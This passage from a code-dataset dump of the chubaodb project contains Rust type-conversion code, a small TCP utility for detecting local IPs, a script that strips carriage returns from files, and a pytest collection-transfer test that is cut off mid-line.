Ok(v.to_string()),\n Convert::Bytes(v) => {\n String::from_utf8(v).map_err(|e| ASError::Error(Code::InternalErr, e.to_string()))\n }\n Convert::BytesRef(v) => String::from_utf8(v.to_vec())\n .map_err(|e| ASError::Error(Code::InternalErr, e.to_string())),\n Convert::Bool(v) => {\n if v {\n Ok(String::from(\"true\"))\n } else {\n Ok(String::from(\"false\"))\n }\n }\n Convert::U8(v) => Ok(format!(\"{}\", v)),\n Convert::I32(v) => Ok(format!(\"{}\", v)),\n Convert::U32(v) => Ok(format!(\"{}\", v)),\n Convert::I64(v) => Ok(format!(\"{}\", v)),\n Convert::U64(v) => Ok(format!(\"{}\", v)),\n Convert::F32(v) => Ok(format!(\"{}\", v)),\n Convert::F64(v) => Ok(format!(\"{}\", v)),\n Convert::Usize(v) => Ok(format!(\"{}\", v)),\n Convert::DateTime(v) => Ok(v.format(\"%Y-%m-%d %H:%M:%S\").to_string()),\n }\n }\n}\n\nimpl TryInto<Vec<u8>> for Convert<'_> {\n type Error = ASError;\n fn try_into(self) -> Result<Vec<u8>, Self::Error> {\n match self {\n Convert::String(v) => Ok(v.into_bytes()),\n Convert::Str(v) => Ok(v.as_bytes().to_vec()),\n Convert::Bytes(v) => Ok(v),\n Convert::BytesRef(v) => Ok(v.to_vec()),\n Convert::Bool(v) => {\n if v {\n Ok(vec![1])\n } else {\n Ok(vec![0])\n }\n }\n Convert::U8(v) => Ok(vec![v]),\n Convert::I32(v) => Ok(v.to_be_bytes().to_vec()),\n Convert::U32(v) => Ok(v.to_be_bytes().to_vec()),\n Convert::I64(v) => Ok(v.to_be_bytes().to_vec()),\n Convert::U64(v) => Ok(v.to_be_bytes().to_vec()),\n Convert::F32(v) => Ok(v.to_be_bytes().to_vec()),\n Convert::F64(v) => Ok(v.to_be_bytes().to_vec()),\n Convert::Usize(v) => Ok(v.to_be_bytes().to_vec()),\n Convert::DateTime(v) => Ok(v.timestamp_millis().to_be_bytes().to_vec()),\n }\n }\n}\n\nimpl TryInto<bool> for Convert<'_> {\n type Error = ASError;\n fn try_into(self) -> ASResult<bool> {\n match self {\n Convert::String(v) => {\n if v.eq_ignore_ascii_case(\"true\") {\n Ok(true)\n } else if v.eq_ignore_ascii_case(\"false\") {\n Ok(false)\n } else {\n Err(err!(Code::InternalErr, \"{} can into bool\", v))\n }\n }\n Convert::Str(v) => {\n if v.eq_ignore_ascii_case(\"true\") {\n Ok(true)\n } else if v.eq_ignore_ascii_case(\"false\") {\n Ok(false)\n } else {\n Err(err!(Code::InternalErr, \"{} can into bool\", v))\n }\n }\n Convert::Bytes(v) => {\n if v.len() == 1 {\n if v[0] == 0 {\n return Ok(false);\n } else if v[0] == 1 {\n return Ok(true);\n }\n }\n return Err(err!(Code::InternalErr, \"{:?} can into bool\", v));\n }\n Convert::BytesRef(v) => {\n if v.len() == 1 {\n if v[0] == 0 {\n return Ok(false);\n } else if v[0] == 1 {\n return Ok(true);\n }\n }\n return Err(err!(Code::InternalErr, \"{:?} can into bool\", v));\n }\n Convert::Bool(v) => Ok(v),\n Convert::U8(v) => Ok(v == 1),\n Convert::I32(v) => Ok(v == 1),\n Convert::U32(v) => Ok(v == 1),\n Convert::I64(v) => Ok(v == 1),\n Convert::U64(v) => Ok(v == 1),\n Convert::F32(v) => Ok(v == 1.0),\n Convert::F64(v) => Ok(v == 1.0),\n Convert::Usize(v) => Ok(v == 1),\n Convert::DateTime(_) => Err(err!(Code::InternalErr, \"date can into bool\")),\n }\n }\n}\n\nimpl TryInto<u8> for Convert<'_> {\n type Error = ASError;\n fn try_into(self) -> Result<u8, Self::Error> {\n match self {\n Convert::String(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to u8\", v)),\n Convert::Str(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to u8\", v)),\n Convert::Bytes(v) => {\n if v.len() == 1 {\n return Ok(v[0]);\n }\n return Err(err!(Code::InternalErr, \"{:?} can into u8\", v));\n }\n Convert::BytesRef(v) => {\n if v.len() == 1 {\n return Ok(v[0]);\n }\n return Err(err!(Code::InternalErr, \"{:?} can into u8\", v));\n }\n Convert::Bool(v) => {\n if v {\n Ok(1)\n } else {\n Ok(0)\n }\n }\n Convert::U8(v) => Ok(v),\n Convert::I32(v) => {\n if v < 0 || v > 255 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u8`\",\n v\n ))\n } else {\n Ok(v as u8)\n }\n }\n Convert::U32(v) => {\n if v > 255 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u8`\",\n v\n ))\n } else {\n Ok(v as u8)\n }\n }\n Convert::I64(v) => {\n if v < 0 || v > 255 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u8`\",\n v\n ))\n } else {\n Ok(v as u8)\n }\n }\n Convert::U64(v) => {\n if v > 255 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u8`\",\n v\n ))\n } else {\n Ok(v as u8)\n }\n }\n Convert::F32(v) => {\n if v < 0.0 || v > 255.0 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u8`\",\n v\n ))\n } else {\n Ok(v as u8)\n }\n }\n Convert::F64(v) => {\n if v < 0.0 || v > 255.0 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u8`\",\n v\n ))\n } else {\n Ok(v as u8)\n }\n }\n Convert::Usize(v) => {\n if v > 255 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u8`\",\n v\n ))\n } else {\n Ok(v as u8)\n }\n }\n Convert::DateTime(v) => {\n let v = v.timestamp_millis();\n if v < 0 || v > 255 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u8`\",\n v\n ))\n } else {\n Ok(v as u8)\n }\n }\n }\n }\n}\n\nimpl TryInto<i32> for Convert<'_> {\n type Error = ASError;\n fn try_into(self) -> Result<i32, Self::Error> {\n match self {\n Convert::String(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to i32\", v)),\n Convert::Str(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to i32\", v)),\n Convert::Bytes(v) => match v.len() {\n 1 => Ok(v[0] as i32),\n 4 => Ok(slice_i32(&v)),\n 8 => {\n let v = slice_i64(&v);\n if v < -2147483648 || v > 2147483647 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `i32`\",\n v\n ))\n } else {\n Ok(v as i32)\n }\n }\n _ => Err(err!(Code::InternalErr, \"{:?} can into i32\", v)),\n },\n Convert::BytesRef(v) => match v.len() {\n 1 => Ok(v[0] as i32),\n 4 => Ok(slice_i32(v)),\n 8 => {\n let v = slice_i64(v);\n if v < -2147483648 || v > 2147483647 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `i32`\",\n v\n ))\n } else {\n Ok(v as i32)\n }\n }\n _ => Err(err!(Code::InternalErr, \"{:?} can into i32\", v)),\n },\n Convert::Bool(v) => {\n if v {\n Ok(1)\n } else {\n Ok(0)\n }\n }\n Convert::U8(v) => Ok(v as i32),\n Convert::I32(v) => Ok(v),\n Convert::U32(v) => {\n if v > 2147483647 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `i32`\",\n v\n ))\n } else {\n Ok(v as i32)\n }\n }\n Convert::I64(v) => {\n if v < -2147483648 || v > 2147483647 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `i32`\",\n v\n ))\n } else {\n Ok(v as i32)\n }\n }\n Convert::U64(v) => {\n if v > 2147483647 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `i32`\",\n v\n ))\n } else {\n Ok(v as i32)\n }\n }\n Convert::F32(v) => {\n if v < -2147483648.0 || v > 2147483647.0 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `i32`\",\n v\n ))\n } else {\n Ok(v as i32)\n }\n }\n Convert::F64(v) => {\n if v < -2147483648.0 || v > 2147483647.0 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `i32`\",\n v\n ))\n } else {\n Ok(v as i32)\n }\n }\n Convert::Usize(v) => {\n if v > 2147483647 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `i32`\",\n v\n ))\n } else {\n Ok(v as i32)\n }\n }\n Convert::DateTime(v) => {\n let v = v.timestamp_millis();\n if v < -2147483648 || v > 2147483647 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `i32`\",\n v\n ))\n } else {\n Ok(v as i32)\n }\n }\n }\n }\n}\n\nimpl TryInto<u32> for Convert<'_> {\n type Error = ASError;\n fn try_into(self) -> Result<u32, Self::Error> {\n match self {\n Convert::String(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to u32\", v)),\n Convert::Str(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to u32\", v)),\n Convert::Bytes(v) => match v.len() {\n 1 => Ok(v[0] as u32),\n 4 => Ok(slice_u32(&v)),\n 8 => {\n let v = slice_u64(&v);\n if v > 4294967295 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u32`\",\n v\n ))\n } else {\n Ok(v as u32)\n }\n }\n _ => Err(err!(Code::InternalErr, \"{:?} can into u32\", v)),\n },\n Convert::BytesRef(v) => match v.len() {\n 1 => Ok(v[0] as u32),\n 4 => Ok(slice_u32(v)),\n 8 => {\n let v = slice_u64(v);\n if v > 4294967295 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u32`\",\n v\n ))\n } else {\n Ok(v as u32)\n }\n }\n _ => Err(err!(Code::InternalErr, \"{:?} can into u32\", v)),\n },\n Convert::Bool(v) => {\n if v {\n Ok(1)\n } else {\n Ok(0)\n }\n }\n Convert::U8(v) => Ok(v as u32),\n Convert::I32(v) => {\n if v < 0 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u32`\",\n v\n ))\n } else {\n Ok(v as u32)\n }\n }\n Convert::U32(v) => Ok(v),\n Convert::I64(v) => {\n if v < 0 || v > 4294967295 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u32`\",\n v\n ))\n } else {\n Ok(v as u32)\n }\n }\n Convert::U64(v) => {\n if v > 4294967295 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u32`\",\n v\n ))\n } else {\n Ok(v as u32)\n }\n }\n Convert::F32(v) => {\n if v < 0.0 || v > 4294967295.0 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u32`\",\n v\n ))\n } else {\n Ok(v as u32)\n }\n }\n Convert::F64(v) => {\n if v < 0.0 || v > 4294967295.0 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u32`\",\n v\n ))\n } else {\n Ok(v as u32)\n }\n }\n Convert::Usize(v) => {\n if v > 4294967295 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u32`\",\n v\n ))\n } else {\n Ok(v as u32)\n }\n }\n Convert::DateTime(v) => {\n let v = v.timestamp_millis();\n if v < 0 || v > 4294967295 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u32`\",\n v\n ))\n } else {\n Ok(v as u32)\n }\n }\n }\n }\n}\n\nimpl TryInto<i64> for Convert<'_> {\n type Error = ASError;\n fn try_into(self) -> Result<i64, Self::Error> {\n match self {\n Convert::String(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to i64\", v)),\n Convert::Str(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to i64\", v)),\n Convert::Bytes(v) => match v.len() {\n 1 => Ok(v[0] as i64),\n 4 => Ok(slice_i32(&v) as i64),\n 8 => Ok(slice_i64(&v)),\n _ => Err(err!(Code::InternalErr, \"{:?} can into i64\", v)),\n },\n Convert::BytesRef(v) => match v.len() {\n 1 => Ok(v[0] as i64),\n 4 => Ok(slice_i32(v) as i64),\n 8 => Ok(slice_i64(v)),\n _ => Err(err!(Code::InternalErr, \"{:?} can into i64\", v)),\n },\n Convert::Bool(v) => {\n if v {\n Ok(1)\n } else {\n Ok(0)\n }\n }\n Convert::U8(v) => Ok(v as i64),\n Convert::I32(v) => Ok(v as i64),\n Convert::U32(v) => Ok(v as i64),\n Convert::I64(v) => Ok(v as i64),\n Convert::U64(v) => {\n if v > 9223372036854775807 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `i64`\",\n v\n ))\n } else {\n Ok(v as i64)\n }\n }\n Convert::F32(v) => {\n if v < -9223372036854775808.0 || v > 9223372036854775807.0 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `i64`\",\n v\n ))\n } else {\n Ok(v as i64)\n }\n }\n Convert::F64(v) => {\n if v < -9223372036854775808.0 || v > 9223372036854775807.0 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `i64`\",\n v\n ))\n } else {\n Ok(v as i64)\n }\n }\n Convert::Usize(v) => {\n if v > 9223372036854775807 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `i64`\",\n v\n ))\n } else {\n Ok(v as i64)\n }\n }\n Convert::DateTime(v) => Ok(v.timestamp_millis()),\n }\n }\n}\n\nimpl TryInto<u64> for Convert<'_> {\n type Error = ASError;\n fn try_into(self) -> Result<u64, Self::Error> {\n match self {\n Convert::String(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to u64\", v)),\n Convert::Str(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to u64\", v)),\n Convert::Bytes(v) => match v.len() {\n 1 => Ok(v[0] as u64),\n 4 => Ok(slice_u32(&v) as u64),\n 8 => Ok(slice_u64(&v)),\n _ => Err(err!(Code::InternalErr, \"{:?} can into u64\", v)),\n },\n Convert::BytesRef(v) => match v.len() {\n 1 => Ok(v[0] as u64),\n 4 => Ok(slice_u32(v) as u64),\n 8 => Ok(slice_u64(v)),\n _ => Err(err!(Code::InternalErr, \"{:?} can into u64\", v)),\n },\n Convert::Bool(v) => {\n if v {\n Ok(1)\n } else {\n Ok(0)\n }\n }\n Convert::U8(v) => Ok(v as u64),\n Convert::I32(v) => Ok(v as u64),\n Convert::U32(v) => Ok(v as u64),\n Convert::I64(v) => Ok(v as u64),\n Convert::U64(v) => Ok(v),\n Convert::F32(v) => {\n if v < 0.0 || v > 18446744073709551615.0 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u64`\",\n v\n ))\n } else {\n Ok(v as u64)\n }\n }\n Convert::F64(v) => {\n if v < 0.0 || v > 18446744073709551615.0 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u64`\",\n v\n ))\n } else {\n Ok(v as u64)\n }\n }\n Convert::Usize(v) => {\n if v > 9223372036854775807 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `u64`\",\n v\n ))\n } else {\n Ok(v as u64)\n }\n }\n Convert::DateTime(v) => Ok(v.timestamp_millis() as u64),\n }\n }\n}\n\nimpl TryInto<f32> for Convert<'_> {\n type Error = ASError;\n fn try_into(self) -> Result<f32, Self::Error> {\n match self {\n Convert::String(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to f32\", v)),\n Convert::Str(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to f32\", v)),\n Convert::Bytes(v) => match v.len() {\n 1 => Ok(v[0] as f32),\n 4 => Ok(slice_f32(&v)),\n 8 => {\n let v = slice_f64(&v);\n if v < -340282350000000000000000000000000000000.0\n || v > 340282350000000000000000000000000000000.0\n {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `f32`\",\n v\n ))\n } else {\n Ok(v as f32)\n }\n }\n _ => Err(err!(Code::InternalErr, \"{:?} can into f32\", v)),\n },\n Convert::BytesRef(v) => match v.len() {\n 1 => Ok(v[0] as f32),\n 4 => Ok(slice_f32(v)),\n 8 => {\n let v = slice_f64(v);\n if v < -340282350000000000000000000000000000000.0\n || v > 340282350000000000000000000000000000000.0\n {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `f32`\",\n v\n ))\n } else {\n Ok(v as f32)\n }\n }\n _ => Err(err!(Code::InternalErr, \"{:?} can into f32\", v)),\n },\n Convert::Bool(v) => {\n if v {\n Ok(1.0)\n } else {\n Ok(0.0)\n }\n }\n Convert::U8(v) => Ok(v as f32),\n Convert::I32(v) => Ok(v as f32),\n Convert::U32(v) => Ok(v as f32),\n Convert::I64(v) => Ok(v as f32),\n Convert::U64(v) => Ok(v as f32),\n Convert::F32(v) => Ok(v),\n Convert::F64(v) => {\n if v < -340282350000000000000000000000000000000.0\n || v > 340282350000000000000000000000000000000.0\n {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `f32`\",\n v\n ))\n } else {\n Ok(v as f32)\n }\n }\n Convert::Usize(v) => {\n if v > 9223372036854775807 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `f32`\",\n v\n ))\n } else {\n Ok(v as f32)\n }\n }\n Convert::DateTime(v) => Ok(v.timestamp_millis() as f32),\n }\n }\n}\n\nimpl TryInto<f64> for Convert<'_> {\n type Error = ASError;\n fn try_into(self) -> Result<f64, Self::Error> {\n match self {\n Convert::String(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to f64\", v)),\n Convert::Str(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to f64\", v)),\n Convert::Bytes(v) => match v.len() {\n 1 => Ok(v[0] as f64),\n 4 => Ok(slice_f32(&v) as f64),\n 8 => Ok(slice_f64(&v)),\n _ => Err(err!(Code::InternalErr, \"{:?} can into f64\", v)),\n },\n Convert::BytesRef(v) => match v.len() {\n 1 => Ok(v[0] as f64),\n 4 => Ok(slice_f32(v) as f64),\n 8 => Ok(slice_f64(v)),\n _ => Err(err!(Code::InternalErr, \"{:?} can into f64\", v)),\n },\n Convert::Bool(v) => {\n if v {\n Ok(1.0)\n } else {\n Ok(0.0)\n }\n }\n Convert::U8(v) => Ok(v as f64),\n Convert::I32(v) => Ok(v as f64),\n Convert::U32(v) => Ok(v as f64),\n Convert::I64(v) => Ok(v as f64),\n Convert::U64(v) => Ok(v as f64),\n Convert::F32(v) => Ok(v as f64),\n Convert::F64(v) => Ok(v),\n Convert::Usize(v) => Ok(v as f64),\n Convert::DateTime(v) => Ok(v.timestamp_millis() as f64),\n }\n }\n}\n\nimpl TryInto<usize> for Convert<'_> {\n type Error = ASError;\n fn try_into(self) -> Result<usize, Self::Error> {\n match self {\n Convert::String(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to usize\", v)),\n Convert::Str(v) => v\n .parse()\n .map_err(|_| err!(Code::InternalErr, \"{} can not convert to usize\", v)),\n Convert::Bytes(v) => match v.len() {\n 1 => Ok(v[0] as usize),\n 4 => Ok(slice_u32(&v) as usize),\n 8 => Ok(slice_u64(&v) as usize),\n _ => Err(err!(Code::InternalErr, \"{:?} can into usize\", v)),\n },\n Convert::BytesRef(v) => match v.len() {\n 1 => Ok(v[0] as usize),\n 4 => Ok(slice_u32(v) as usize),\n 8 => Ok(slice_u64(v) as usize),\n _ => Err(err!(Code::InternalErr, \"{:?} can into usize\", v)),\n },\n Convert::Bool(v) => {\n if v {\n Ok(1)\n } else {\n Ok(0)\n }\n }\n Convert::U8(v) => Ok(v as usize),\n Convert::I32(v) => Ok(v as usize),\n Convert::U32(v) => Ok(v as usize),\n Convert::I64(v) => Ok(v as usize),\n Convert::U64(v) => Ok(v as usize),\n Convert::F32(v) => {\n if v < 0.0 || v > 18446744073709551615.0 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `usize`\",\n v\n ))\n } else {\n Ok(v as usize)\n }\n }\n Convert::F64(v) => {\n if v < 0.0 || v > 18446744073709551615.0 {\n Err(err!(\n Code::InternalErr,\n \"{:?} literal out of range for `usize`\",\n v\n ))\n } else {\n Ok(v as usize)\n }\n }\n Convert::Usize(v) => Ok(v),\n Convert::DateTime(v) => Ok(v.timestamp_millis() as usize),\n }\n }\n}\n\nimpl TryInto<NaiveDateTime> for Convert<'_> {\n type Error = ASError;\n fn try_into(self) -> Result<NaiveDateTime, Self::Error> {\n match self {\n Convert::String(v) => time::format_str(v.as_str()).into(),\n Convert::Str(v) => time::format_str(v).into(),\n Convert::Bytes(v) => Ok(time::from_millis(Convert::from(v).try_into()?)),\n Convert::BytesRef(v) => Ok(time::from_millis(Convert::from(v).try_into()?)),\n Convert::Bool(_v) => result!(Code::InternalErr, \"bool can not to datetime\"),\n Convert::U8(v) => Ok(time::from_millis(v as i64)),\n Convert::I32(v) => Ok(time::from_millis(v as i64)),\n Convert::U32(v) => Ok(time::from_millis(v as i64)),\n Convert::I64(v) => Ok(time::from_millis(v)),\n Convert::U64(v) => {\n if v > 9223372036854775807 {\n result!(\n Code::InternalErr,\n \"{:?} literal out of range for `timestamp`\",\n v\n )\n } else {\n Ok(time::from_millis(v as i64))\n }\n }\n Convert::F32(v) => {\n if v < -9223372036854775808.0 || v > 9223372036854775807.0 {\n result!(\n Code::InternalErr,\n \"{:?} literal out of range for `timestamp`\",\n v\n )\n } else {\n Ok(time::from_millis(v as i64))\n }\n }\n Convert::F64(v) => {\n if v < -9223372036854775808.0 || v > 9223372036854775807.0 {\n result!(\n Code::InternalErr,\n \"{:?} literal out of range for `timestamp`\",\n v\n )\n } else {\n Ok(time::from_millis(v as i64))\n }\n }\n Convert::Usize(v) => Ok(time::from_millis(v as i64)),\n Convert::DateTime(v) => Ok(v),\n }\n }\n}\n\npub fn json<'a>(v: &'a Value) -> ASResult<Convert<'a>> {\n match v {\n Value::Bool(v) => Ok(Convert::Bool(*v)),\n Value::String(v) => Ok(Convert::Str(v.as_str())),\n Value::Number(v) => {\n if v.is_i64() {\n Ok(Convert::I64(v.as_i64().unwrap()))\n } else if v.is_u64() {\n Ok(Convert::U64(v.as_u64().unwrap()))\n } else {\n Ok(Convert::F64(v.as_f64().unwrap()))\n }\n }\n _ => result!(Code::InternalErr, \"{:?} can not convert \", v),\n }\n}\n\n#[test]\nfn conver_json() {\n use serde_json::json;\n let v: String = json(&json!(\"123\")).unwrap().try_into().unwrap();\n assert_eq!(\"123\", v);\n let v: i64 = json(&json!(123)).unwrap().try_into().unwrap();\n assert_eq!(123, v);\n let v: u64 = json(&json!(123)).unwrap().try_into().unwrap();\n assert_eq!(123, v);\n let v: i32 = json(&json!(123)).unwrap().try_into().unwrap();\n assert_eq!(123, v);\n let v: u32 = json(&json!(123)).unwrap().try_into().unwrap();\n assert_eq!(123, v);\n let v: u8 = json(&json!(123)).unwrap().try_into().unwrap();\n assert_eq!(123, v);\n let v: f64 = json(&json!(123)).unwrap().try_into().unwrap();\n assert_eq!(123.0, v);\n let v: f32 = json(&json!(123)).unwrap().try_into().unwrap();\n assert_eq!(123.0, v);\n}\n\n#[test]\nfn conver_test() {\n let v: String = Convert::Str(\"123\").try_into().unwrap();\n assert_eq!(\"123\", v);\n let v: u8 = Convert::Str(\"123\").try_into().unwrap();\n assert_eq!(123, v);\n let v: i32 = Convert::Str(\"123\").try_into().unwrap();\n assert_eq!(123, v);\n let v: u32 = Convert::Str(\"123\").try_into().unwrap();\n assert_eq!(123, v);\n let v: i64 = Convert::Str(\"123\").try_into().unwrap();\n assert_eq!(123, v);\n let v: u64 = Convert::Str(\"123\").try_into().unwrap();\n assert_eq!(123, v);\n let v: usize = Convert::Str(\"123\").try_into().unwrap();\n assert_eq!(123, v);\n let v: f32 = Convert::Str(\"123\").try_into().unwrap();\n assert_eq!(123.0, v);\n let v: f64 = Convert::Str(\"123\").try_into().unwrap();\n assert_eq!(123.0, v);\n}\n" }, { "alpha_fraction": 0.41550523042678833, "alphanum_fraction": 0.44207316637039185, "avg_line_length": 27.700000762939453, "blob_id": "4f0a64310df9e5ac1cd1a2de157eac36db480bcb", "content_id": "c62a9e801dd490914867302ef799eb7be19e8f73", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Rust", "length_bytes": 2296, "license_type": "permissive", "max_line_length": 86, "num_lines": 80, "path": "/src/util/net.rs", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "use crate::util::error::*;\nuse crate::*;\nuse std::io::prelude::*;\nuse std::net::TcpListener;\nuse std::net::TcpStream;\n\nconst STOP_CODE: u8 = 100;\nconst START_PORT: u32 = 30000;\n\npub struct MyIp {\n port: u32,\n token: u64,\n}\n\nimpl Drop for MyIp {\n fn drop(&mut self) {\n if let Ok(mut socket) = TcpStream::connect(format!(\"0.0.0.0:{}\", self.port)) {\n socket.write(&[STOP_CODE]).unwrap();\n };\n }\n}\n\nimpl MyIp {\n pub fn instance() -> ASResult<MyIp> {\n let rnd = rand::random::<u32>();\n\n let mut port = START_PORT + rnd % START_PORT;\n let token = rand::random::<u64>();\n\n loop {\n if let Ok(listener) = TcpListener::bind(format!(\"0.0.0.0:{}\", port)) {\n std::thread::spawn(move || loop {\n for stream in listener.incoming() {\n let mut stream = stream.unwrap();\n let mut buffer = [0; 1];\n let size = stream.read(&mut buffer).unwrap();\n if size > 1 {\n continue;\n }\n if buffer[0] == STOP_CODE {\n break;\n }\n stream.write(&token.to_be_bytes()).unwrap();\n }\n });\n return Ok(MyIp {\n port: port,\n token: token,\n });\n }\n\n port = port + 1;\n if port >= 65535 {\n break;\n }\n }\n\n return result_def!(\"no port can use\");\n }\n\n //Determine if an IP is native\n pub fn is_my_ip(&self, ip: &str) -> bool {\n if let Ok(mut socket) = TcpStream::connect(format!(\"{}:{}\", ip, self.port)) {\n socket.write(&[1]).unwrap();\n let mut result = Vec::with_capacity(8);\n socket.read_to_end(&mut result).unwrap();\n let mut v: [u8; 8] = Default::default();\n v.copy_from_slice(&result);\n return u64::from_be_bytes(v) == self.token;\n }\n return false;\n }\n}\n\n#[test]\nfn my_ip_test() {\n let my_ip = MyIp::instance().unwrap();\n assert!(my_ip.is_my_ip(\"127.0.0.1\"));\n assert!(!my_ip.is_my_ip(\"255.255.255.255\"));\n}\n" }, { "alpha_fraction": 0.47625699639320374, "alphanum_fraction": 0.48603352904319763, "avg_line_length": 26.538461685180664, "blob_id": "3b3405a447e60ef09d4bc6c5ae6034006cf3e4e1", "content_id": "229fe4d0bdde852010638806474c549d4842e228", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 716, "license_type": "permissive", "max_line_length": 64, "num_lines": 26, "path": "/test/doc2unix.py", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "import os\n\ntarget_suffix = (\".rs\", \".sh\", \".md\", \".proto\",\n \".yml\", \".bat\", \".yml\", \"Dockerfile\")\n\n\n# remove \\r by suffix and overwrite file\n\n\ndef dir2unix(path):\n for line in os.walk(path):\n for name in line[2]:\n if name.endswith(target_suffix):\n file_path = line[0]+\"/\"+name\n file_obj = open(file_path, \"r\")\n content = file_obj.read()\n if \"\\r\" in content:\n print(\"file \"+file_path+\" remove \\\\r begin\")\n content = content.replace(\"\\r\", \"\")\n open(file_path, \"w\").write(content)\n\n\ndir2unix(\"../docker\")\ndir2unix(\"../src\")\ndir2unix(\"../proto\")\ndir2unix(\"../docs\")\n" }, { "alpha_fraction": 0.5257301926612854, "alphanum_fraction": 0.5420722961425781, "avg_line_length": 25.878503799438477, "blob_id": "edd0fee2aa6b79a021dca5676237648495843ab4", "content_id": "6880da5e030ecc2aaa0b9f96abea2939abfde42e", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2876, "license_type": "permissive", "max_line_length": 143, "num_lines": 107, "path": "/test/test_transfer.py", "repo_name": "NLPchina/chubaodb", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\n\nimport logging\nimport pytest\nimport requests\nimport json\nimport random\nimport time\nfrom config import *\n\n\ndef test_del_collection():\n\n url = \"http://\" + MASTER + \"/collection/delete/t1\"\n response = requests.delete(url)\n print(\"collection_delete---\\n\" + response.text)\n\n assert response.status_code == 200 or response.status_code == 503\n\n\ndef test_create_collection():\n url = \"http://\" + MASTER + \"/collection/create\"\n headers = {\"content-type\": \"application/json\"}\n data = {\n \"name\": \"t1\",\n \"partition_num\": 1,\n \"replica_num\": 1,\n \"source\": True,\n \"fields\": [{\n \"name\": \"name\",\n \"field_type\": \"string\",\n \"index\": False,\n \"store\": True,\n \"array\": False\n },\n {\n \"name\": \"age\",\n \"field_type\": \"integer\",\n \"index\": False,\n \"store\": True,\n \"array\": False\n },\n {\n \"name\": \"content\",\n \"field_type\": \"text\",\n \"index\": False,\n \"store\": True,\n \"array\": False\n }\n ]\n }\n print(url + \"---\" + json.dumps(data))\n response = requests.post(url, headers=headers, data=json.dumps(data))\n print(\"space_create---\\n\" + response.text)\n assert response.status_code == 200\n\n\ndef test_transfer():\n response = requests.get(\"http://\" + MASTER + \"/collection/get/t1\")\n assert response.status_code == 200\n value = json.loads(response.text)\n assert len(value[\"partitions\"]) == 1\n partition_id = value[\"partitions\"][0]\n\n collection_id = value[\"id\"]\n\n response = requests.get(\"http://\" + MASTER +\n \"/partition/get/\"+str(collection_id)+\"/\"+str(partition_id))\n partition = json.loads(response.text)\n\n response = requests.get(\"http://\" + MASTER + \"/pserver/list\")\n pss = json.loads(response.text)\n\n random.shuffle(pss)\n to_server = pss[0]\n\n if len(pss) > 1:\n for ps in pss:\n if ps[\"addr\"] != partition[\"leader\"]:\n to_server = ps\n\n response = requests.post(\"http://\"+MASTER+\"/collection/partition/transfer\", 